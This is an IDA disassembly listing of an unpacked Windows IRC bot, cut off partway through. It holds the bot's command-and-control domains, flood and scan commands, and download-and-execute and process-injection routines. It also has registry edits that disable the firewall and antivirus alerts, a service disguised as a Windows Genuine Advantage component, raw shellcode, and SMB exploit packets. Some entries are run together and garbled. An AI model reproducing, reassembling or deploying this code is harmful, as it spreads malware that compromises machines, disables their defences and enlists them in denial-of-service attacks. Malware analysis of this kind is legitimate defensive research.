;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	33CFC3BEC7B43DD536E8476F5AEAA236

; File Name   :	u:\work\33cfc3bec7b43dd536e8476f5aeaa236_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00006000 (  24576.)
; Section size in file		: 00006000 (  24576.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
MEW		segment	para public 'BSS' use32
		assume cs:MEW
		;org 401000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_401000	dd 77E37D39h	; resolved to->ADVAPI32.StartServiceCtrlDispatcherA					; sub_414D29+13Dr ...
dword_401004	dd 77DEB88Ch	; resolved to->ADVAPI32.OpenServiceA					; sub_4027AF+24r ...
dword_401008	dd 77DEADA7h	; resolved to->ADVAPI32.OpenSCManagerA					; sub_4027AF+Er ...
dword_40100C	dd 77DE5E4Dh	; resolved to->ADVAPI32.CloseServiceHandle					; sub_4027AF+42r ...
dword_401010	dd 77E37311h	; resolved to->ADVAPI32.DeleteServicedword_401014	dd 77DEB193h	; resolved to->ADVAPI32.SetServiceStatusdword_401018	dd 77DF0953h	; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_40101C	dd 77E36CC9h	; resolved to->ADVAPI32.ChangeServiceConfigAdword_401020	dd 77DEB635h	; resolved to->ADVAPI32.ControlServicedword_401024	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4034DF+E7r ...
dword_401028	dd 77E36F61h	; resolved to->ADVAPI32.ChangeServiceConfig2A					; sub_4026D6+C4r
dword_40102C	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4034DF+C3r ...
dword_401030	dd 77DFD5BBh	; resolved to->ADVAPI32.RegCreateKeyA					; sub_4034DF+A8r ...
dword_401034	dd 77DF087Fh	; resolved to->ADVAPI32.SetSecurityInfodword_401038	dd 77DF3238h	; resolved to->ADVAPI32.StartServiceAdword_40103C	dd 77E37071h	; resolved to->ADVAPI32.CreateServiceA		dd 0
dword_401044	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_4037DC+6r
dword_401048	dd 7C81042Ch	; resolved to->KERNEL32.CreateRemoteThreaddword_40104C	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemory					; sub_4037DC+D4r
dword_401050	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocExdword_401054	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_401058	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileAdword_40105C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_405BB6+82r
dword_401060	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_401064	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_404CE7+B3r
dword_401068	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_404CE7+93r
dword_40106C	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; MEW:00403B81r ...
dword_401070	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_401074	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_401078	dd 7C82C2D3h	; resolved to->KERNEL32.GetLogicalDriveStringsAdword_40107C	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_401080	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileAdword_401084	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_401088	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_40108C	dd 7C80FC2Fh	; resolved to->KERNEL32.GlobalFreedword_401090	dd 7C80FD2Dh	; resolved to->KERNEL32.GlobalAllocdword_401094	dd 7C8608FFh	; resolved to->KERNEL32.GetTempFileNameAdword_401098	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_40109C	dd 7C8365A5h	; resolved to->KERNEL32._lcreatdword_4010A0	dd 7C834E64h	; resolved to->KERNEL32._lclosedword_4010A4	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; MEW:00403AACr ...
dword_4010A8	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_4037DC+54r ...
dword_4010AC	dd 7C830D74h	; resolved to->KERNEL32.lstrcmpA					; sub_402C9E+C3r ...
dword_4010B0	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresentdword_4010B4	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_403A51+25r ...
dword_4010B8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4010BC	dd 7C810111h	; resolved to->KERNEL32.lstrcpynA					; sub_4028D3+10Er ...
dword_4010C0	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4010C4	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_4034DF+286r
dword_4010C8	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_4010CC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4010D0	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_4010D4	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40284B+29r ...
dword_4010D8	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeAdword_4010DC	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_402650+6Er ...
		dd 0
dword_4010E4	dd 71A6EA82h			dd 0
dword_4010EC	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_4010F0	dd 7E418D2Bh	; resolved to->USER32.CharUpperA					; sub_403E5B+A0r
dword_4010F4	dd 7E43210Ah	; resolved to->USER32.FindWindowExA					; sub_40553F+84r ...
dword_4010F8	dd 7E418A80h	; resolved to->USER32.GetWindowThreadProcessId					; sub_40553F+6Dr
dword_4010FC	dd 7E42F383h	; resolved to->USER32.SendMessageA					; sub_40553F+CAr ...
dword_401100	dd 7E43147Ah	; resolved to->USER32.GetMenudword_401104	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_4028D3+123r ...
		dd 0
dword_40110C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; MEW:0040464Cr ...
dword_401110	dd 71AB2C69h	; resolved to->WS2_32.sendto					; MEW:0040474Fr ...
dword_401114	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; MEW:00404A77r ...
dword_401118	dd 71AB4489h	; resolved to->WS2_32.WSAIoctldword_40111C	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_40414F+10Dr ...
dword_401120	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_402C9E+2E8r
dword_401124	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_40414F+1A6r
dword_401128	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; MEW:0040452Cr
dword_40112C	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_403B95+1D2r ...
dword_401130	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_4028D3+144r ...
dword_401134	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; MEW:00404577r ...
dword_401138	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_403B95+1FEr
dword_40113C	dd 71AB615Ah	; resolved to->WS2_32.recv					; MEW:004049F2r ...
dword_401140	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_403062+167r ...
dword_401144	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_401148	dd 71AB3E00h	; resolved to->WS2_32.bind					; MEW:0040496Br
dword_40114C	dd 71AB88D3h	; resolved to->WS2_32.listendword_401150	dd 71AC1028h	; resolved to->WS2_32.acceptdword_401154	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_401158	dd 71AB2BC0h	; resolved to->WS2_32.ntohl					; sub_403B95+2A2r
dword_40115C	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_401160	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_403B95+60r ...
dword_401164	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_403062+3A3r ...
		dd 6 dup(0)
dword_401180	dd 42h dup(0)						; sub_402650+19o ...
dword_401288	dd 0							; sub_402C9E+28Er ...
dword_40128C	dd 0							; sub_4028D3+6Fr ...
dword_401290	dd 0							; sub_4028D3+1Aw ...
word_401294	dw 0			; DATA XREF: sub_4028D3+2Aw
					; sub_4028D3+42w ...
		align 4
dword_401298	dd 80h dup(0)						; sub_4028D3+139o ...
dword_401498	dd 4 dup(0)						; sub_402C9E+189o ...
dword_4014A8	dd 8 dup(0)						; sub_4028D3+114o ...
dword_4014C8	dd 0							; sub_4028D3+133r ...
dword_4014CC	dd 0							; sub_4044C0+3w ...
dword_4014D0	dd 0							; MEW:004051C7w ...
dword_4014D4	dd 0							; sub_403062+383r
dword_4014D8	dd 0							; sub_402C9E+2DCr ...
dword_4014DC	dd 0							; sub_4028D3+C7r ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402650+58o
					; sub_4027FE+9o ...
		align 4
		dd 3Dh dup(0)
dword_4015F0	dd 0							; sub_4037DC+37o ...
		align 10h
aD:					; DATA XREF: sub_4027FE+25o
					; sub_4027FE+2Fw ...
		unicode	0, <D>,0
		dd 0Ah dup(0)
dword_40162C	dd 81h		word_401630	dw 0			; DATA XREF: sub_4027FE+43w
		align 4
		dd 4 dup(0)
dword_401644	dd 0FF682DEBh, 68FFFFFFhdword_40164C	dd 0FFFFFEFFh			db 0B8h
dword_401651	dd 0FFFFFFFFh			db 0FFh, 0D0h, 68h
dword_401658	dd 0FFFFFFFFh			db 0B8h
dword_40165D	dd 0FFFFFFFFh			db 0FFh, 0D0h, 0B8h
dword_401664	dd 0FFFFFFFFh			dd 6AD0FFh
		db 0B8h
dword_40166D	dd 0FFFFFFFFh			db 0FFh, 0D0h, 0E8h
		dd 0FFFFFFCEh, 0
dword_40167C	dd 1							; sub_403062+335w ...
dword_401680	dd 1							; sub_403A51+Cw ...
		dd 1
dword_401688	dd 1							; sub_4048CF+Cw ...
dword_40168C	dd 1							; sub_404F02+87w ...
dword_401690	dd 401180BAh, 510B900h,	0FE80000h, 0BA000000h, 4016B7h
					; DATA XREF: sub_4025E7+4o
		dd 45A5B9h, 259C6800h, 32800040h, 0FAE242B0h, 8C2h
dword_4016B8	dd 32312E25h, 255C7338h, 7334362Eh, 0aBniu_househot_	db 'bniu.househot.com',0 ; DATA XREF: sub_4028D3+Eo
					; sub_4028D3:loc_402905o
byte_4016DA	db 2Eh			; DATA XREF: sub_402C9E+12Cr
					; sub_402C9E+23Dr
byte_4016DB	db 21h			; DATA XREF: sub_402C9E+14Br
					; sub_402C9E+25Cr
word_4016DC	dw 9346h		; DATA XREF: sub_4028D3+3Cr
		align 10h
aYpgw_wallloan_	db 'ypgw.wallloan.com',0 ; DATA XREF: sub_4028D3+1Ao
		align 4
word_4016F4	dw 9346h		; DATA XREF: sub_4028D3+24r
		align 4
dword_4016F8	dd 316E23h						; sub_402C9E+38Ao ...
aNert4mp1	db 'nert4mp1',0         ; DATA XREF: sub_402C9E+385o
		align 4
dword_401708	dd 12Ch		dword_40170C	dd 2D316Eh	dword_401710	dd 6461212Ah, 406E696Dh, 696D6461h, 6EhaWgareg_0	db 'wgareg',0           ; DATA XREF: sub_4025F4+9o
		align 4
aWgareg_exe	db 'wgareg.exe',0       ; DATA XREF: sub_402650+14o
		align 4
aWgareg		db 'wgareg',0           ; DATA XREF: MEW:004025BAo
					; sub_4026D6+1Ao ...
		align 4
aWindowsGenuine	db 'Windows Genuine Advantage Registration Service',0
					; DATA XREF: sub_4026D6+52o
		align 10h
aEnsuresThatYou	db 'Ensures that your copy of Microsoft Windows is genuine and regist'
					; DATA XREF: sub_4026D6+A0o
		db 'ered. Stopping or disabling this service will result in system in'
		db 'stability.',0
		align 10h
aNick_24s	db 'NiCK %.24s',0Ah,0   ; DATA XREF: sub_4028D3+119o
					; sub_402C9E+19Eo
aUserLLLL	db 'USeR l l l l',0Ah,0 ; DATA XREF: sub_4028D3+ECo
		align 4
aPrivmsg_16s_48	db 'PRiVMSG %.16s :%.480s',0Ah,0 ; DATA XREF: sub_402C53+11o
		align 4
aJoin_16s_16s	db 'JOiN %.16s %.16s',0Ah,0 ; DATA XREF: sub_402C9E+38Fo
		align 4
aUserhost_16s	db 'USeRHOST %.16s',0Ah,0 ; DATA XREF: sub_402C9E+354o
a001		db '001',0              ; DATA XREF: sub_402C9E:loc_402FC4o
a302		db '302',0              ; DATA XREF: sub_402C9E:loc_402F16o
a332		db '332',0              ; DATA XREF: sub_402C9E:loc_402E72o
a433		db '433',0              ; DATA XREF: sub_402C9E:loc_402E05o
					; sub_405394:loc_40544Eo
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_402C9E:loc_402D59o
aPong_500s_0	db 'PoNG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_402C9E+85o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_402C9E+70o
					; sub_405394+6Ao
		align 4
aExec		db '[exec] :(',0        ; DATA XREF: sub_403062:loc_403476o
		align 4
aExec_0		db '[exec] :)',0        ; DATA XREF: sub_403062+408o
		align 10h
aNi_16s_16s	db '[ni] %.16s %.16s',0 ; DATA XREF: sub_403062+3B1o
		align 4
a_500s		db '%.500s',0Ah,0       ; DATA XREF: sub_403062+25Eo
					; sub_404FCE+17o
aQuit		db 'QUiT',0Ah,0         ; DATA XREF: sub_403062+150o
		align 4
a_8s08x		db '%.8s%08x',0         ; DATA XREF: sub_4034BB+Fo
		align 10h
aSharedaccess	db 'sharedaccess',0     ; DATA XREF: sub_4034DF+29Do
		align 10h
aSDebugDcpromo_	db '%s\debug\dcpromo.log',0 ; DATA XREF: sub_4034DF+252o
		align 4
aSoftwarePoli_0	db 'software\policies\microsoft\windowsfirewall\standardprofile',0
					; DATA XREF: sub_4034DF+205o
aEnablefirewall	db 'enablefirewall',0   ; DATA XREF: sub_4034DF+1EAo
					; sub_4034DF+222o
		align 4
aSoftwarePolici	db 'software\policies\microsoft\windowsfirewall\domainprofile',0
					; DATA XREF: sub_4034DF+1CDo
		align 10h
aFirewalldisa_0	db 'firewalldisableoverride',0 ; DATA XREF: sub_4034DF+1B2o
aFirewalldisabl	db 'firewalldisablenotify',0 ; DATA XREF: sub_4034DF+197o
		align 10h
aAntivirusoverr	db 'antivirusoverride',0 ; DATA XREF: sub_4034DF+17Co
		align 4
aAntivirusdisab	db 'antivirusdisablenotify',0 ; DATA XREF: sub_4034DF:loc_403640o
		align 4
aSoftwareMicr_0	db 'software\microsoft\security center',0 ; DATA XREF: sub_4034DF+144o
		align 10h
aAutosharewks	db 'autosharewks',0     ; DATA XREF: sub_4034DF+129o
		align 10h
aAutoshareserve	db 'autoshareserver',0  ; DATA XREF: sub_4034DF+10Eo
aSystemCurren_0	db 'system\currentcontrolset\services\lanmanserver\parameters',0
					; DATA XREF: sub_4034DF+F1o
		align 4
aRestrictanon_0	db 'restrictanonymoussam',0 ; DATA XREF: sub_4034DF+D6o
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4034DF:loc_40359Ao
		align 4
aSystemCurrentc	db 'system\currentcontrolset\control\lsa',0 ; DATA XREF: sub_4034DF+9Eo
		align 10h
aEnabledcom	db 'enabledcom',0       ; DATA XREF: sub_4034DF+83o
		align 4
aSoftwareMicros	db 'software\microsoft\ole',0 ; DATA XREF: sub_4034DF+6Ao
		align 4
aN:					; DATA XREF: sub_4034DF+9o
		unicode	0, <n>,0
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4037DC+4Do
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_403A18+1Do
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_403A18+9o
		align 4
aFindfile_256s_	db '[findfile] %.256s%.240s',0 ; DATA XREF: sub_404033+D0o
a_256s_250s	db '%.256s%.250s\',0    ; DATA XREF: sub_404033+8Co
		align 4
a__		db '..',0               ; DATA XREF: sub_404033+6Ao
		align 4
a_:					; DATA XREF: sub_404033+54o
					; sub_404CE7+45o
		unicode	0, <.>,0
a_256s		db '%.256s*',0          ; DATA XREF: sub_404033+Co
aComspecQ	db '"%comspec%" /Q',0   ; DATA XREF: sub_40414F+221o
		align 4
aSyn_16sDoneUms	db '[syn:%.16s] done [%ums] [%u packets] [%uMB] [%uK/s]',0
					; DATA XREF: MEW:0040483Fo
dbl_401B88	dq 1.0e3		; DATA XREF: MEW:00404816r
a_16sHu_16sHu_2	db '[%.16s:%hu->%.16s:%hu] "%.256s"',0 ; DATA XREF: MEW:00404C1Co
aJoin		db 'JOIN #* *',0        ; DATA XREF: sub_404C51+53o
		align 4
aOper??		db 'OPER ?* ?* *',0     ; DATA XREF: sub_404C51+4Co
		align 4
aPass?		db 'PASS ?* ',0         ; DATA XREF: sub_404C51+45o
		align 4
aUser?		db 'USER ?* ',0         ; DATA XREF: sub_404C51+3Eo
		align 4
a?Ddos		db '* :?*ddos* *',0     ; DATA XREF: sub_404C51+37o
		align 4
a?Udp		db '* :?*udp* *',0      ; DATA XREF: sub_404C51+30o
a?Syn		db '* :?*syn* *',0      ; DATA XREF: sub_404C51+29o
a?Scan		db '* :?*scan* *',0     ; DATA XREF: sub_404C51+22o
		align 4
a?set		db '* :?set * * *',0    ; DATA XREF: sub_404C51+1Bo
		align 4
a?login		db '* :?login * *',0    ; DATA XREF: sub_404C51+14o
		align 4
aPrivmsg?	db '*PRIVMSG * :?* *',0 ; DATA XREF: sub_404C51+Do
		align 10h
a_332?		db '*:*.* 332 * #* :?* *',0 ; DATA XREF: sub_404C51+6o
byte_401C65	db 3 dup(0)		; DATA XREF: sub_404CE7+40o
aDl08xDl	db '[dl:%08x] :( dl',0  ; DATA XREF: sub_404CE7+1F4o
aDl08xExec	db '[dl:%08x] :( exec',0 ; DATA XREF: sub_404CE7+1C5o
		align 4
aDl08x		db '[dl:%08x] :)',0     ; DATA XREF: sub_404CE7+188o
		align 4
aDl08x_180sTo_1	db '[dl:%08x] %.180s to %.180s',0 ; DATA XREF: sub_404CE7+10Fo
		align 4
aUrldownloadtof	db 'URLDownloadToFileA',0 ; DATA XREF: sub_404CE7+A8o
		align 4
aUrlmon_dll	db 'urlmon.dll',0       ; DATA XREF: sub_404CE7+8Eo
		align 4
aNick_16s	db 'NICK %.16s',0Ah,0   ; DATA XREF: MEW:00405272o
					; sub_405394+171o
aUser_16s_16s_1	db 'USER %.16s "" "%.16s" %.16s',0Ah,0 ; DATA XREF: MEW:00405235o
		align 4
aPong_500s	db 'PONG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_405394+7Fo
		align 4
a_oscar_tree	db '_Oscar_Tree',0      ; DATA XREF: sub_40553F+9Ao
a32770		db '#32770',0           ; DATA XREF: sub_40553F+4Ao
					; sub_40553F+7Ao
		align 4
a_oscar_statusn	db '_Oscar_StatusNotify',0 ; DATA XREF: sub_40553F+8o
a_oscar_iconbtn	db '_Oscar_IconBtn',0   ; DATA XREF: sub_405728+8Ao
		align 4
aAte32class	db 'Ate32Class',0       ; DATA XREF: sub_405728+5Fo
		align 4
aCbclass	db 'CBClass',0          ; DATA XREF: sub_405728+49o
aWndate32class	db 'WndAte32Class',0    ; DATA XREF: sub_405728+2Do
		align 10h
aAim_imessage	db 'AIM_IMessage',0     ; DATA XREF: sub_405728+Bo
		align 10h
aInstantMessage	db 'Instant Message',0  ; DATA XREF: sub_405728:loc_40572Eo
dword_401D90	dd 0EFFFC481h, 0EB44FFFFh, 0E86BEB02h, 0FFFFFFF9h, 57565553h
					; DATA XREF: sub_405AE6+61o
		dd 18246C8Bh, 8B3C458Bh, 3780554h, 184A8BD5h, 3205A8Bh
		dd 4932E3DDh, 38B348Bh,	0FCFF33F5h, 3AACC033h, 0C10774C4h
		dd 0F8030DCFh, 7C3BF2EBh, 0E1751424h, 3245A8Bh,	0C8B66DDh
		dd 1C5A8B4Bh, 48BDD03h,	0EBC5038Bh, 5FC03302h, 895B5D5Eh
		dd 8B042444h, 44892404h, 448B0824h, 0C4830424h,	6A5EC308h
		dd 8B645930h, 0C5B8B19h, 8B1C5B8Bh, 87B8B1Bh, 8B1CEC83h
		dd 50C033ECh, 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah
		dd 75FF066Ah, 89D0FF14h, 68570445h, 0E9238ADBh,	4589D6FFh
		dd 8E68570Ch, 0FFEC0E4Eh, 66C933D6h, 516C6CB9h,	2E323368h
		dd 73776864h, 0FF545F32h, 53D88BD0h, 1819B668h,	89D6FFE7h
		dd 68531045h, 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh
		dd 6A066AD6h, 0FF026A01h, 84589D0h, 5050C033h, 0FF02B850h
		dd 0F4800427h, 0C48B50FFh, 0FF50106Ah, 68530875h, 0C7701AA4h
		dd 0D0FFD6FFh, 0A4685358h, 0FFE92EADh, 0FF106AD6h, 0D0FF0875h
		dd 5050C033h, 530875FFh, 8649E568h, 0FFD6FF49h,	84D8BD0h
		dd 51084589h, 811855FFh, 0FFFEFCC4h, 33DC8BFFh,	0FFB151C9h
		dd 75FF5351h, 1055FF08h, 0A7EC085h, 75FF5350h, 0C55FF04h
		dd 75FFE5EBh, 1855FF08h, 4C5B6857h, 0D6FFDD1Ah,	0FF0475FFh
		dd 50C033D0h, 571475FFh, 8AFE9868h, 0FFD6FF0Eh,	0EF6857D0h
		dd 0FF60E0CEh, 0D0FFD6h
dword_401F28	dd 197h							; sub_405AE6+4Cr ...
dword_401F2C	dd 182h							; sub_4059EF+50r ...
dword_401F30	dd 0EFFFC481h, 8B44FFFFh, 0EB02EBECh, 0FFF9E86Bh, 5553FFFFh
					; DATA XREF: sub_4059EF+2Eo
		dd 6C8B5756h, 458B1824h, 5548B3Ch, 8BD50378h, 5A8B184Ah
		dd 0E3DD0320h, 348B4932h, 33F5038Bh, 0C033FCFFh, 74C43AACh
		dd 0DCFC107h, 0F2EBF803h, 14247C3Bh, 5A8BE175h,	66DD0324h
		dd 8B4B0C8Bh, 0DD031C5Ah, 38B048Bh, 3302EBC5h, 5D5E5FC0h
		dd 2444895Bh, 24048B04h, 8244489h, 424448Bh, 0C308C483h
		dd 364C033h, 408B3040h,	1C708B0Ch, 8788BADh, 50C0335Eh
		dd 78652E68h, 14658965h, 49EA6857h, 0D6FFE88Ah,	75FF066Ah
		dd 89D0FF14h, 68570445h, 0E9238ADBh, 4589D6FFh,	8E68570Ch
		dd 0FFEC0E4Eh, 66C933D6h, 516C6CB9h, 2E323368h,	73776864h
		dd 0FF545F32h, 53D88BD0h, 1819B668h, 89D6FFE7h,	68531045h
		dd 79C679E7h, 4589D6FFh, 6E685318h, 0FF492F0Bh,	6A066AD6h
		dd 0FF026A01h, 4589D0h,	5050C033h, 0FF02B850h, 0F4800427h
		dd 0C48B50FFh, 0FF50106Ah, 68530075h, 0C7701AA4h, 0D0FFD6FFh
		dd 0A4685350h, 0FFE92EADh, 75FFD6h, 5050D0FFh, 530075FFh
		dd 8649E568h, 0FFD6FF49h, 4589D0h, 0FEFCC481h, 0DC8BFFFFh
		dd 0B151C933h, 0FF5351FFh, 55FF0075h, 7EC08510h, 0FF53500Ah
		dd 55FF0475h, 57E5EB0Ch, 1A4C5B68h, 0FFD6FFDDh,	0D0FF0475h
		dd 0FF50C033h, 68571475h, 0E8AFE98h, 0D0FFD6FFh, 0CEEF6857h
		dd 0D6FF60E0h, 0D0FFh, 0
dword_4020B8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40587E+3Bo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_402148	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40587E+4Do
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_4021F8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40587E+5Fo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h
dword_402224	dd 0							; sub_415EEB+3Bw
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h
dword_4022A0	dd 300030h	a02195:
		unicode	0, <0 2195>,0
aW		db 'W',0
aIndows20005_0:
		unicode	0, <indows 2000	5.0>,0
		align 8
dword_4022D8	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40587E+9Eo
		db 2 dup(0), 0B8h
dword_4022F7	dd 3008000Ah						; sub_415EEB+29r
		db 46h
		dd 0FF04h, 1000000h, 0F00h, 495C5C5Ch, 244350h,	3F3F3F3Fh
		dd 3Fh
dword_402318	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40587E+ADo
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	2 dup(0)
dword_402380	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40587E+BFo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_402428	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_4024B0	dd 0				dd 0D7h, 1, 0
		dd 1, 0
		dd 0CBh, 0
		db 0
byte_4024D1	db 0			; DATA XREF: sub_4160D2+8w
					; sub_4160D2+37r
		align 8
dword_4024D8	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_405AE6+Eo
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_402560	dd 0				dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_402584	dd 205D655Bh, 36312E25h, 2E252073h, 7332hdword_402594	dd 6B32h	dword_402598	dd 7078h	; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], offset loc_40288B
		and	dword ptr [ebp-8], 0
		and	dword ptr [ebp-4], 0
		call	sub_40284B
		mov	dword ptr [ebp-10h], offset aWgareg ; "wgareg"
		call	sub_4027FE
		lea	eax, [ebp-10h]
		push	eax
		call	dword_401000	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_4025D9
		call	sub_402650


loc_4025D9:				; CODE XREF: MEW:004025D2j
		call	sub_4025F4
; ---------------------------------------------------------------------------
		dw 4E8h
		dd 33000000h
		db 0C0h, 0C9h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4025E7	proc near

